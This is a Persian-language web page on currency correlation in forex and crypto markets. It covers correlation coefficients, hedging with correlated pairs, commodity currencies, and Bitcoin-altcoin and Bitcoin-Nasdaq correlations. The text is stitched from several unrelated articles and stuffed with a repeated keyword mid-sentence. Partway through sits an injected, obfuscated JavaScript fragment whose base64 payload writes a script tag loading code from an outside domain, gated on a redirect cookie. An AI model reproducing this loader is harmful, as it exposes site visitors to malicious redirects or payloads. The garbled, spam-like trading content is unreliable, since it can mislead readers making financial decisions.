همبستگی ارزها

همبستگی بین بیت کوین و آلت کوین ها از اول ژانویه تا ۴ فوریه ۲۰۲۰

نحوه استفاده از همبستگی جفت ارزها در معاملات فارکس

مجله افیکس کار: همبستگی ارزها در فارکس (Currency Correlation) یعنی رفتار قیمتی یک جفت ارز با رفتار قیمتی جفت ارز دیگر همبستگی داشته باشند. حال این همبستگی میتواند مثبت یا منفی باشد. که اگر همبستگی مثبت باشد یعنی دو جفت ارز به نسبتی در یک جهت حرکت میکنند و اگر همبستگی منفی باشد یعنی دو جفت ارز به همان نسبت در خلاف جهت یکدیگر حرکت میکنند.

آشنایی با همبستگی ارزها در معاملات فارکس میتواند منجر به افزایش سود یا کاهش ضرر ناشی از یک معامله شود. برای پوشش ریسک در معاملات با توجه به همبستگی ارزها میتوان از روش هج کردن استفاده کرد.

همبستگی تنها در جفت ارزها نیست. در بازار سهام کالا و بین کالاها و یک جفت ارز یا بین جفت ارزهای دیجیتال نیز این همبستگی وجود دارد.

• مطالعه بیشتر :آیا بین ارزهای دیجیتال و دارایی های سنتی همبستگی وجود دارد؟

ضریب همبستگی ارزها چیست؟

همانطور که گفتیم ارزش ارزها به هم وابسته هستند اما نه به یک اندازه.

ارزش ارز هر کشور بسته به شرایط اقتصادی منطقه، میزان مبادلات و دیگر شرایطی مطابق با ضریبی همبستگی دارند که میتواند در جهت مثبت یا منفی باشد.

ضریب همبستگی ارزها در فارکس یا کورولیشن یک ابزار آماری است و فرمول ریاضی مخصوص به خود را دارد. این ضریب نشان می دهد که دو سری از اعداد با چه ارتباطی نسبت به یکدیگر تغییر کرده اند.

برای مثال ممکن است یک تحلیلگر بخواهد رابطه بین میزان صادرات یک کشور و ارزش ارز آن کشور در برابر دلار را بسنجد. در این حالت، داده های هر دو متغییر در بازه های زمانی مساوی (مثلا فصلی یا سالیانه) با استفاده از فرمول ضریب همبستگی با یکدیگر مقایسه می شوند.

چند نوع ضریب همبستگی در بازار وجود دارد . در بین آن‌ها می‌توان به ضریب همبستگی درون کلاسی (Intraclass)، ضریب همبستگی رتبه‌ای (Rank) و ضریب همبستگی پیرسون (Pearson) اشاره کرد. البته در بازار فارکس ضریب همبستگی پیرسون (Pearson) بیشترین کاربرد را دارد.

ضریب همبستگی پیرسون میزان قدرت رابطه خطی که بین دو جفت ارز در فارکس وجود دارد را اندازه‌گیری می‌کند.

انجام‌دادن محاسبات همبستگی پیرسون به صورت دستی کار بسیار پیچیده‌ای است. بسیاری از معامله‌گران از نرم‌افزارهای کامپیوتری صفحه گسترده استفاده می‌کنند تا این ضریب را به‌دست آورند. فرمول ضریب همبستگی به گونه ای طراحی شده است که نتیجه آن، عددی بین ۱- و ۱+ بدست می آید.

ضریب همبستگی مثبت (1+تا 0)

وقتی ضریب همبستگی یک متغییری (در فارکس جفت ارز) عددی بین 0 تا1+ باشد یعنی تغییرات جفت ارزها در یک جهت مثبت رخ می دهد. به طور مثال اگر ضریب همبسنگی جفت ارز دوم 0.8+ جفت ارز اول باشد و جفت ارز اول در جهت مثبت حرکت کند جفت ارز دوم به اندازه 0.8+ جفت ارز اول یا 80٪ جفت ارز اول در جهت مثبت حرکت خواهد کرد.

در این حالت همبستگی +1 به معنی همبستگی مثبت کامل است. یعنی اگر یک ارز 1٪ رشد کند ارز دیگر نیز 1٪ رشد خواهد کرد.

ضریب همبستگی مثبت (0تا -1)

وقتی ضریب همبستگی یک متغییری (در فارکس جفت ارز) عددی بین 1- تا0 باشد. یعنی تغییرات جفت ارزها در یک جهت منفی رخ می دهد. به طور مثال اگر ضریب همبسنگی جفت ارز دوم 0.8- جفت ارز اول باشد و جفت ارز اول در جهت مثبت حرکت کند جفت ارز دوم به اندازه 0.8- جفت ارز اول یا 80٪ جفت ارز اول در جهت معکوس حرکت خواهد کرد.

در این حالت همبستگی 1- به معنی همبستگی منفی کامل است. یعنی اگر یک ارز 1٪ رشد کند ارز دیگر 1٪ تضعیف خواهد شد.

ضریب همبستگی 0

ضریب همبستگی 0 به معنی عدم همبستگی است . یعنی هیچ رابطه ای بین حرکت جفت ارزها با یکدیگر وجود ندارد.

استفاده از همبستگی جفت ارزها در معاملات فارکس

از همبستگی جفت ارزها میتوان با اهداف متفاوتی در بازار فارکس استفاده کرد:

استفاده از همبستگی ارزها جهت افزایس سودآوری

در بازار فارکس جفت ارزهای متعددی وجود دارد که بررسی کردن تمامی این جفت ارزها و یافتن موقعیت ورود به معامله در آن ها بسیار زمان بر است و ممکن است زمانی که مشغول بررسی یک جفت ارز هستید موقعیت ورود به معامله در جفت ارز دیگری را از دست بدهید.

اما با توجه به همبستگی ارزها در فارکس میتوانید وفتی یک موقعیت ورود در یک جفت ارز یافتید بلافاصله در جفت ارز وابسته به آن نیز وارد معامله شوید.

نیازی نیست حتما در جفت ارزهایی با همبستگی مثبت همزمان وارد معامله شوید. بلکه میتوانید در جفت ارزهایی با همبستگی منفی نیز در خلاف جهت به معامله وارد شوید.

به طور مثال:

فرض کنید حرکت بعدی جفت ارز USD/CHF را پیش بینی کرده و یک موقعیت معاملاتی بر روی آن باز کرده اید.

شما می توانید بلافاصله یک موقعیت معکوس بر روی جفت ارز EUR/USD ایجاد کنید. زیرا این جفت ارزها دارای همبستگی منفی قوی هستند و یک رابطه عکس با یکدیگر دارند.

در واقع شما یک جفت ارز را بررسی می کنید اما می توانید همزمان از 2 یا حتی 3 جفت ارز کسب سود کنید.

• مطالعه بیشتر :آشنایی با جفت ارز دلار/ین و رابطه آن با اوراق خزانه داری آمریکا و نرخ بهره

استفاده از همبستگی ارزها جهت پوشش ضرر احتمالی

میدانیم که در بازار فارکس هیچ قطعیتی وجود ندارد و استراتژی که همواره منجر به پیشبینی دقیق و سود قطعی شده است ممکن است در معاملات بعدی منجر به ضرر هنگفت شود.

به عنوان یک تریدر اگر وارد معامله ای شدید همبستگی ارزها و بعد از زمان اندکی متوجه شدید پیشبنی شما اشتباه است. به منظور کاهش ضرر احتمالی میتوانید در جفت ارز دیگری که دارای همبستگی بالای منفی است در همان جهت وارد معامله شوید. در این حالت بخش زیادی از ضرر احتمالی شما پوشش داده خواهد شد.

به طور مثال:

فرض کنید روی جفت ارزی EUR/JPY معامله خرید باز کرده اید و بعد از گذشت دقایقی متوجه می شوید که پیشبینی شما از روند این جفت ارز اشتباه است. میتوانید بلافاصله روی جفت ارز USD/CAD وارد معامله خرید شوید و بخش زیادی از ضرر احتمالی را پوشش دهید.

پوشش ضرر احتمالی همان استراتژی هدجینگ است که براساس همبستگی جفت ارزها در فارکس طراحی شده است.

استفاده از همبستگی ارزها جهت تایید شکست ها

اگر شما از استراتژی نقاط پیوت جهت شناسایی سطوح حمایت و مقاومت استفاده می کنید، همبستگی ارزها می توانند در تایید پیش بینی های شما کمک کنند.

فرض کنید که EUR/USD در محدوده یک مقاومت قرار دارد. اما شما نمی دانید که قیمت می خواهد این سطح را بشکند و یا از نقطه پیوت باز گردد.

در این حالت، بررسی جفت ارزهای دیگر با همبستگی قوی می تواند به شما کمک کند. بدین ترتیب می توانید هم همبستگی های مثبت و هم همبستگی های منفی را بررسی کنید.

اگر در این بازه زمانی جفت ارز EUR/USD با با جفت ارزهای GBP/USD و AUD/USD همبستگی مثبت داشته باشد میتوانید بررسی کنید که آیا این جفت ارزها نیز در سطوح مقاومت قرار دارند یا سطوح مقاومت را شکسته اند یا از این سطوح بازگشت داشته اند.

از طرف دیگر اگر در این بازه زمانی جفت ارز EUR/USD با جفت ارزهای USD/CHF و USD/JPY همبستگی منفی داشته باشند باید بررسی کنید که آیا این جفت ارزها در سطوح حمایت قرار دارند و چه واکنشی نسبت به این سطوح نشان داده اند.

تغییر در همبستگی ارزها

همانطور که گفتیم نیازی نیست برای استفاده از همبستگی ارزها فرمول محاسباتی آن را بخاطر بسپارید. جدول همبستگی ارزها میتواند تمامی ضرایب همبستگی را به شما نشان دهد. اما ضرایب همبستگی ارزها در فارکس همیشه ثابت نیستند. در تایم فریم های مختلف ضرایب همبستگی برای یک جفت ارز متفاوت هستند.

اگر به اشتباه در تایم فریم یک ساعته بر اساس ضرایب جدول روزانه معامله کنید، به طور قطع معاملات شما با ضرر مواجه خواهد شد.

اما تفاوت ضرایب همبستگی ارزها در فارکس تنها در تایم فریم ها متفاوت نیست. بلکه در بازه زمانی متفاوت ضرایب یک تایم فریم ثابت نیز ممکن است متغییر باشد .

به طور مثال جدول ضریب همبستگی تایم فریم روزانه هفته گذشته با هفته جاری ممکن است متفاوت باشد .

این ضریب می تواند به دلایل بسیاری مانند تغییر در سیاست های اقتصادی کشورها تغییر کند.

برای مثال، افزایش نرخ بهره در آمریکا می تواند مسیر حرکتی دلار آمریکا را نسبت به دیگر ارزها تغییر دهد. یکی از فاکتورهای مهم دیگر، تغییرات در فضای سیاسی است که بر روی نرخ جفت ارزها اثر می گذارد و معادلات را تغییر می دهد.

به همین جهت بهتر است در زمان استفاده از این استراتژی جدول به روز همبستگی ارزهای موردنظر خود را بررسی کنید.

همبستگی ارزها با کالاها

برخی از ارزها با ارزهای دیگر همبستگی ندارد، بلکه ارزش آن‌ها با قیمت کالاها همبستگی دارد. این شرایط زمانی رخ می‌دهد که آن ارز متعلق به کشوری باشد که صادرکننده خالص یک کالا مثل نفت یا طلا باشد.

همبستگی دلار کانادا و نفت

• قیمت نفت با دلار کانادا همبستگی مثبت دارد . افزایش قیمت نفت باعث افزایش ارز دلار کانادا می شود.
• و قیمت نفت با دلار آمریکا همبستگی منفی دارد. در نتیجه افزایش قیمت نفت باعث کاهش ارزش دلار می شود.

این بدین معنی است که زمانی که قیمت دلار افزایش می‌یابد، قیمت نفت با کاهش مواجه می‌شود و بالعکس افزایش قیمت نفت باعث کاهش ارزش دلار می‌شود. در نتیجه معامله‌گران می‌توانند از این اطلاعات استفاده کنند و زمانی که قیمت نفت رو به افزایش است وارد معامله خرید ارزهایی شوند که دلار کانادا ارز پایه آن جفت ارز باشد (مثل CAD\JPY) . یا وارد معامله فروش جفت ارزهایی شوند که در آن، دلار آمریکا ارز پایه‌ است ( مثل USD\CAD).

همبستگی دلار استرالیا و طلا

ارزش ارز دلار استرالیا بعنوان صادرکننده خالص طلا، با افزایش یا کاهش قیمت طلا رابطه مستقیم دارد. به همین دلیل وقتی قیمت طلا افزایش می‌یابد جفت ارز AUD\USD نیز رشد می‌کند و زمانی که طلا با افت قیمت مواجه می‌شود این جفت ارز نیز با کاهش ارزش رو‌به‌رو می‌شود.

اگر ارزش AUD\USD افزایش یابد، بدین معنی است که دلار استرالیا در برابر دلار آمریکا قوی شده‌است. به همین دلیل برای خرید یک دلار استرالیا، نیاز به فروش مقادیر بیشتری از دلار آمریکا دارید.

پس همانند رابطه نفت با دلار کانادا، طلا نیز با دلار استرالیا همبستگی مثبت دارد و دلار آمریکا با هر دوی آنها همبستگی منفی دارد.

دلار استرالیا به عنوان ارز کالایی (کالامحور) شناخته می‌شود. چون ارزش آن وابستگی شدیدی به ارزش صادرات کالاهای استرالیا مثل مس، زغال‌سنگ، محصولات کشاورزی و طلا دارد.

میزان صادرات این کالاها همچنین با ارزش دلار استرالیا همبستگی دارد. البته در بین تمام کالاهای صادراتی استرالیا، طلا بیشترین همبستگی مثبت را با دلار استرالیا دارد.

همبستگی ین ژاپن و طلا

ین ژاپن همانند دلار،یورو و پوند به عنوان ارز ذخیره یا رزرو (Reserve currency) شناخته می شود. از طرف دیگر ین ژاپن به عنوان ارز امن (Safe-haven) و طلا به عنوان دارایی امن شناخته می‌شوند.

هر چند که قیمت یک واحد ین و طلا متفاوت است. اما از آنجایی که هم ین ژاپن هم طلا جزو دارایی امن محسوب می شود در زمان نوسانات یا رشد کند بازار، سرمایه گذاران دارایی خود را به یکی از این دو تبدیل می کنند که معمولا حرکت صعودی و نزولی مشابه هم دارند.

یکی دیگر از علت های همبسیگی مثبت ین ژاپن و طلا از نظر تحلیل گران تشابه نرخ بهره واقعی این دو به یکدیگر است. ( منظور از نرخ‌بهره واقعی، نرخی است که فعالان بازار بعد از محاسبه‌کردن تورم، به دست ‌می‌آورند.)

آیا بین قیمت بیت کوین و آلت کوین‌ها، همبستگی وجود دارد؟

بر اساس گزارش های منتشر شده، قیمت بیت کوین در تاریخ ۱۳ فوریه سال ۲۰۲۰ به بالاترین سطح خود در سال جاری رسید و از سطح ۱۰۴۹۷ دلار عبور کرد. قیمت این ارز از ابتدای سال میلادی تا کنون ۴۲ درصد افزایش یافته است. این افزایش قیمت باعث شد تا تحلیلگران بازار ارزهای دیجیتال بگویند که یک روند صعودی جدید در مراحل اولیه خود است و برخی هم تخمین می زنند که قیمت آن تا تابستان به سطح ۲۷۰۰۰ دلار خواهد رسید. سایر تحلیلگران معتقدند تا قبل از شروع سال ۲۰۲۱ قیمت آن به سطح ۱۰۰۰۰۰ دلار افزایش خواهد یافت.

در کنار افزایش قیمت بیت کوین، قیمت آلت کوین ها نیز با افزایش همراه بود. طی یک هفته گذشته، ارز نم و تزوس افزایش قیمت چشمگیری داشتند و این ایده مطرح شد که ممکن است در دوره های روند صعودی قیمت، بین بیت کوین و آلت کوین ها همبستگی وجود داشته باشد.

در ادامه، بیایید بررسی کنیم که آیا این همبستگی هم در شرایط بازار صعودی و هم بازار نزولی وجود دارد یا خیر.

همبستگی آلت کوین ها با دوره های روند صعودی قیمت بیت کوین

بیت کوین از اول آوریل تا ژوئن ۲۰۱۹ یک روند صعودی قوی را پشت سر گذاشت و بیش از ۲۰۰ درصد رشد کرد و در ۲۶ ژوئن به سطح ۱۳۸۰۰ دلار رسید. با ترسیم نمودار همبستگی همبستگی ارزها های بین بیت کوین و ۳۰ آلت کوین برتر حال حاضر بازار، می توان فهمید که ۵۸ درصد از ارزهای دیجیتال همبستگی بالایی (بیش از ۶۰ درصد) با بیت کوین در این دوره ها از خود نشان می دهند.

همبستگی صفر به همبستگی ارزها این معنی است که ارزها به هیچ وجه با یکدیگر همبستگی ندارند، در حالی که همبستگی ۱۰۰ درصد بدان معنی است که ارزها همبستگی کامل و مثبت دارند. علاوه بر این، همبستگی -۱۰۰ درصد بدان معنی است که ارزها همبستگی معکوس با یکدیگر دارند.

برجسته ترین ارزهایی که همبستگی بین ۷۴ تا ۸۲ درصد با بیت کوین داشتند عبارتند از: اتریوم، دش، بیت کوین کش، مونرو و EOS. از طرفی، HedgeTrade (HEDG) با ۱۳٫۳ درصد و یو اس دی کوین (USDC) با ۴٫۳- درصد کمترین همبستگی را در بین همه ارزها دارند. ارزهایی مانند چین لینک، کازموس، کریپتو دات کام چین و هیوبی توکن نیز در این مدت همبستگی کمی بین ۲۰ تا ۳۰ درصد با بیت کوین داشتند.

همبستگی بین بیت کوین و آلت کوین ها از آوریل تا ژوئن ۲۰۱۹٫

همبستگی در زمان روند صعودی آلت کوین ها

در دوره های صعودی آلت کوین ها، مانند دوره مشاهده شده بین دسامبر ۲۰۱۸ تا مارس ۲۰۱۹، همبستگی بین بیت کوین و سایر ارزهای برتر بازار بسیار قوی است. فقط یو اس دی کوین در دوره روند صعودی قیمت، همبستگی منفی (۷٫۸%-) با بیت کوین دارد.

با این حال، ۷۷ درصد از ارزهای برتر بازار، بیش از ۶۰ درصد با بیت کوین همبستگی دارند و مونرو با ۹۲٫۳ درصد بیشترین همبستگی را دارد. علاوه بر این، همبستگی دش، EOS، اتریوم، ریپل و زی کش با بیت کوین بیشتر از ۸۷ درصد است.

همبستگی بیت کوین اس وی، چین لینک، هیوبی توکن و تزوس با بیت کوین در طول این دوره بین ۵۰ تا ۶۰ درصد است. کریپتو دات کام با ۲۵ درصد و تتر با ۱۹٫۱ درصد کمترین همبستگی را با بیت کوین در این دوره نشان می دهد.

همبستگی بین بیت کوین و آلت کوین ها بین دسامبر ۲۰۱۸ و مارس ۲۰۱۹٫

سال ۲۰۲۰ با نوسانات قیمت شروع شد، چه چیزی در پیش رو قرار دارد؟

بیت کوین نشان داد که یک سناریوی صعودی می تواند در طول سال ۲۰۲۰ بر بازار حاکم باشد و از ابتدای سال جاری تاکنون بیش از ۳۵ درصد افزایش قیمت داشته است. در این مدت، مانند گذشته، همبستگی های بالایی در آلت کوین های بزرگ بازار مانند بیت کوین کش، اتریوم، لایت کوین، نئو، ترون و ریپل مشاهده می شود.

از طرفی، یو اس دی کوین و کازموس از آخرین دوره روند صعودی تا آغاز سال ۲۰۲۰، همبستگی کمتری از خود نشان دادند.

با این حال، چین لینک، Crypto.com HedgeTrade، هیوبی توکن و دش از آخرین دوره روند صعودی، همبستگی معکوسی با بیت کوین نشان می دهند. به همین دلیل نمی توان نتیجه گیری کرد که رفتاری پایدار بین این ارزها و بیت کوین وجود دارد.

همبستگی بین بیت کوین و آلت کوین ها از اول ژانویه تا ۴ فوریه ۲۰۲۰

استیبل کوین ها در سناریوهای صعودی بیت کوین و آلت کوین ها کمترین همبستگی ارزها همبستگی را با بیت کوین از خود نشان می دهند. در حالی که ارزهای بزرگتر بازار مانند اتریوم، لایت کوین، بیت کوین کش، نئو، مونرو و ریپل همیشه همبستگی بالایی با حرکت بیت کوین دارند. با این وجود، آلت کوین های مورد مطالعه در این مقاله، همبستگی بیشتری با بیت کوین در دوره روند صعودی آلت کوین ها در مقایسه با زمانی که قیمت بیت کوین صعودی است، دارند.

البته، انتظار می رود که اگر یک دوره جدید صعودی برای بیت کوین آغاز همبستگی ارزها شود، سرمایه گذاران این آلت کوین ها را برای انباشتن مورد نظر قرار دهند، زیرا آنها پتانسیل افزایش قیمت بیشتر را دارند. علاوه بر این، سرمایه گذارانی که فقط بیت کوین خریداری می کنند، ممکن است یک رویکرد محافظه کارانه تر همبستگی ارزها اتخاذ کرده و با خریداری استیبل کوین ها یا ارزهایی که همبستگی کمتری در طول این دوره ها دارند، از سرمایه گذاری پر ریسک محافظت کنند.

function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)

نحوه خواندن جدول‌ همبستگی های جفت ارز ها در بازار فارکس

آیا شما به صورت تصویری مطالب را بهتر یاد می‌گیرید؟ عالی است اگر اینگونه باشید! باید حتما شما در نظر داشته باشید که همبستگی های ارزها به شما کمک می کند که در مدیریت سرمایه بسیار موفق تر عمل بکنید. فرض کنید شما بخواهید دو معامله باز بکنید. در هر دو معامله شما جفت ارزهایی را انتخاب کنید که در یک جفت با هم حرکت می کنند. همین امر باعث می شود که شانس کال مارجین شدنتان دو برابر شود. هیچ وقت روی دو جفت ارزی که با همدیگر همبستگی زیادی دارند معامله نکنید. همانطور که شانس سود کردن شما دو برابر می شود احتمال ضرر کردن شما هم دو برابر خواهد شد.

به جدول‌های زیر نگاهی بیاندازید.

هر جدول ارتباط بین یک جفت‌ارز اصلی (رنگ نارنجی) با جفت‌ارزهای دیگر (رنگ سفید) را در طی چهارچوب‌های زمانی مختلف نشان می‌دهد.

به یاد داشته باشید که همبستگی ارز به صورت عددی اعشاری بوسیله ضریب همبستگی نمایش داده می‌شود که عددی میان -1.00 و +1.00 می‌باشد.

ضریبی نزدیک به +1 یا مساوی با آن نشان‌دهنده آن است که این دو جفت‌ارز همبستگی مثبت قوی‌ای دارند و ممکن خواهد بود که در جهتی یکسان حرکت کنند.

به همین ترتیب، ضریبی نزدیک به -1 یا مساوی با آن نشان‌دهنده آن است که این دو جفت‌ارز همبستگی قوی‌ای اما از نوع منفی دارند و در نتیجه این جفت‌ارزها در خلاف جهت یکدیگر حرکت می‌کنند.

ضریبی نزدیک به صفر یا مساوی با آن نشان‌دهنده رابطه بسیار ضعیف یا تصادفی است.

همبستگی‌های جفت‌ارز EUR/USD

همبستگی‌های جفت‌ارز USD/JPY

همبستگی‌های جفت‌ارز USD/CHF

همبستگی‌های جفت‌ارز GBP/USD

همبستگی‌های جفت‌ارز USD/CAD

همبستگی‌های جفت‌ارز AUD/USD

همبستگی‌های جفت‌ارز NZD/USD

همبستگی‌های جفت‌ارز EUR/JPY

همبستگی‌های جفت‌ارز EUR/GBP

1. ثبت نام فارکس شما تنها سه قدم تا ورود به فارکس فاصله دارید ( برای ورود روی لینک های زیر کلیک کنید):

ثبت رکورد جدید میان همبستگی بیت کوین و بازار سهام تکنولوژی

طبق آخرین اخبار به دست آمده از وبسایت beincrypto و بر اساس گزارش بلومبرگ، همبستگی ۴۰ روزه میان بیت کوین و شاخص Nasdaq 100 که عموماً بیانگر عملکرد غول‌های تکنولوژی است، در تاریخ ۸ آوریل با شکستن سقف تاریخی خود به ۰.۶۹۴۵ رسیده است. شایان ذکر است که همبستگی میان بیت کوین و Nasdaq 100 از ابتدای پاندمی کرونا تقریبا در یک روند صعودی بوده است. همبستگی بیش‌تر نشان دهنده شباهت در روند قیمتی دو دارایی می‌باشد. همبستگی همبستگی ارزها صفر نشان دهنده بی شباهتی دو روند و همبستگی یک نشان دهنده تطابق کامل دو روند می‌باشد.

در مقایسه با شاخص‌های S&P 500، Dow Jones و Nasdaq، بیت کوین در پنج سال گذشته میانگین بازگشت سرمایه ۱۶۴۵ درصدی را ثبت همبستگی ارزها کرده و بازدهی این ارز دیجیتال در مقایسه با داوجونز ۱۹۷۸ درصد بیشتر بوده است. همچنین این ارز در بازه‌ی ۵ ساله بازدهی ۱۷۳۴ درصد بالاتری از شاخص S&P 500 داشته است که عملکرد سهام ۵۰۰ شرکت برتر ایالات متحده را دنبال می‌کند. در مقایسه با نزدک هم بیتکوین طی بازه‌ی ۵ ساله ۱۲۲۱ درصد بازدهی بیشتری داشته است.

۵ عامل مهم برای بررسی در بازار بیت کوین (هفته سوم فروردین)

بیت کوین (BTC) هفته دوم آوریل را با تلاش برای حفظ حمایت ۴۰ هزار دلار آغاز کرده است. از لحاظ داده‌های کلان بازار منتظر یک تغییر روند بزرگ می‌باشد ولی از لحاظ فاندامنتال، وضعیت شبکه بیتکوین بسیار مساعد است. با توجه به این نکات، معامله‌گران می‌توانند به ۵ عامل زیر در طی هفته آتی توجه داشته باشند.

پرایس اکشن

بیتکوین پس از هفته‌ها به سطح قیمتی خود در ۲۳ مارس در محدوده ۴۱ هزار دلار بازگشت. به‌نظر می‌رسد که این تحرک قیمت بیت کوین ریتستی باشد به مقاومت ۴۰ هزار دلار سابق که اکنون به حمایت تبدیل شده است.

وضعیت بازار سهام و داده‌‌های کلان

باتوجه به قرنطینه‌ی اخیر چین، بازار سهام آسیا در وضعیت نامساعدی قرار دارد. در اروپا نیز باتوجه به تنش‌های میان اوکراین و روسیه، تغییری در وضعیت بازار سهام اروپا به‌وجود نیامده است. همچنین، بانک مرکزی اروپا (ECB) قرار است در این هفته جلسه‌ای با تمرکز بر کنترل تورم به‌وسیله‌ی افزایش نرخ بهره، تشکیل دهد. تحلیل‌گران این بازار براین‌ باورند که شرایط تورمی و اقدامات بانک مرکزی در راستای آن، تقاضا برای بیتکوین و کریپتو و دارایی‌های ریسکی را کاهش می‌دهد.

همبستگی بیت کوین با بازار سهام

اگر قرار باشد که سهام آمریکا با اقدامات بانک‌های مرکزی برای مبارزه با تورم، سقوط کنند، افزایش همبستگی بازار کریپتوکارنسی با بازار سهام، به ضرر رمزارزها خواهد شد.

وضعیت Sentiment بازار و شاخص ترس و طمع

علیرغم اینکه شاخص ترس و طمع در اواخر ماه مارچ به محدوده‌ی طمع رسیده بود، با توجه به رویدادهای اخیر این شاخص مجددا به محدوده ترس بازگشته است. اکنون که بازارها شروع به اصلاح کرده‌اند، ترس این بازارها را فرا گرفته است.

وضعیت بنیادی و فاندامنتال شبکه Bitcoin

تنها پارامتر امیدوارکننده بیت کوین طی این هفته، وضعیت فاندامنتالی این ارز می‌باشد، داده‌های سختی شبکه نشان‌دهنده‌ی این موضوع است که وضعیت ماینر‌ها مساعد است. استخراج بیت کوین همچنان به جذب سرمایه‌گذارهای بزرگ ادامه می‌دهد. از جمله این شرکت‌ها می‌توان به Blockstream اشاره کرد که هفته گذشته اعلام کرد (لینک خبر) محل استخراجی با انرژی خورشیدی برای ماین با هش‌ریت ۳۰ پتاهش بر ثانیه راه‌اندازی خواهد کرد.

نکته: توجه داشته باشید این خبر صرفا ترجمه‌‌ محتوای انتشار یافته از منبع ذکر شده می‌باشد و آکادمی ارز دیجیتال ارز تودی مسئولیتی در مقابل تصمیمات یا عواقب مالی آن برای افراد ندارد.

کرولیشن یا همبستگی جفت ارزهای فارکس چیست؟

کرولیشن یا همبستگی جفت ارزهای فارکس یکی از نکاتی همبستگی ارزها است که هر معامله گر فارکس باید با آن آشنا بوده و در تحلیل‌های خود در فارکس از آن استفاده کند. همبستگی های جفت ارزهای فارکس با یکدیگر و حتی با کالاهای مختلف، باعث می‌شود تا دید بهتری از روند حرکت این جفت ارزها داشته باشید. در ادامه به صورت کامل به همبستگی جفت ارزهای فارکس خواهیم پرداخت و میزان این همبستگی ها را نیز اعلام خواهیم کرد.

همبستگی یا کرولیشن ارزها چیست؟

همبستگی یا کرولیشن ، یک رابطه مثبت یا منفی بین دو همبستگی ارزها جفت ارز متفاوت می‌باشد.در همبستگی مثبت بین دو جفت ارز فارکس، دو جفت ارز مطابق و تقریبا هم شکل با یکدیگر حرکت می‌کنند. در همبستگی منفی دقیقا برعکس همبستگی مثبت می‌باشد و دو جفت ارز تقریبا برعکس یکدیگر حرکت می‌کنند. البته میزان مثبت بودن و یا منفی بودن همبستگی در دو جفت ارز، متغییر است و در جدول زیر می‌توانید این مقادیر را مشاهده کنید.

یکی دلایل ایجاد همبستگی بین دو جفت ارز متفاوت در فارکس این است که ارزهای موجود در این دو جفت ارز یکسان بوده و یا دارای اقتصادهای مشابهی باشند. به طور مثال در جفت ارز GBP/USD و EUR/USD ارز دلار در دو جفت ارز وجود دارد.

یکی از مزیت های همبستگی جفت ارزها در فارکس این است که می‌توانید از جفت ارزهای که همبستگی زیادی با جفت ارز معامله شده توسط شده استفاده کنید و آن جفت ارز را نیز معامله کنید. البته قدرت همبستگی جفت ارزها به ساعت و حجم معاملات روز نیز وابسته است و قبل از استفاده از کرولیشن جفت ارزهای فارکس به این نکته توجه کنید.

جدول همبستگی ارزها

همان طور که گفته شد، برخی جفت ارزها با یکدیگر همبستگی مثبت داشته و برخی همبستگی منفی دارند. این همبستگی به شرایط مختلفی بستگی دارند که در بیشتر مواقع به یک میزان هستند و می‌توان در جدول زیر این همبستگی ها را مشاهده کرد. از جدول زیر می‌توانید همبستگی جفت ارزهای فارکس را مشاهده کرده و به این نکته که یک جفت ارز با جفت ارز دیگر همبستگی مثبت دارد یا منفی، مطلع ک

خلاصه همبستگی جفت ارزهای فارکس

همان طور که توضیح داده شد، جفت ارزهای فارکس نسبت به یکدیگر دارای همبستگی مثبت و منفی هستند. این همبستگی دارای میزان مختلفی بوده و برخی جفت ارزها دارای بیشتری همبستگی و یا کمترین همبستگی نسبت به یکدیگر هستند. میزان همبستگی جفت ارزهای فارکس، کمک می‌کند تا متوجه شویم به چه مقدار بر یکدیگر تاثیرگذار هستند. همچنین کالاها نیز بر جفت ارزهای فارکس تاثیر گذاشته و از این طریق می‌توانید تحلیل های خوبی بر روی جفت ارزهای فارکس داشته باشید.

امیدواریم از توضیحات داده شده در رابطه با همبستگی و غیرهمبستگی جفت ارزهای فارکس لذت برده اید. اگر سوالی در رابطه با همبستگی یا کرولیشن در فارکس دارید، خوشحال می‌شویم تا در بخش نظرات این صفحه پاسخگوی شما عزیزان باشیم.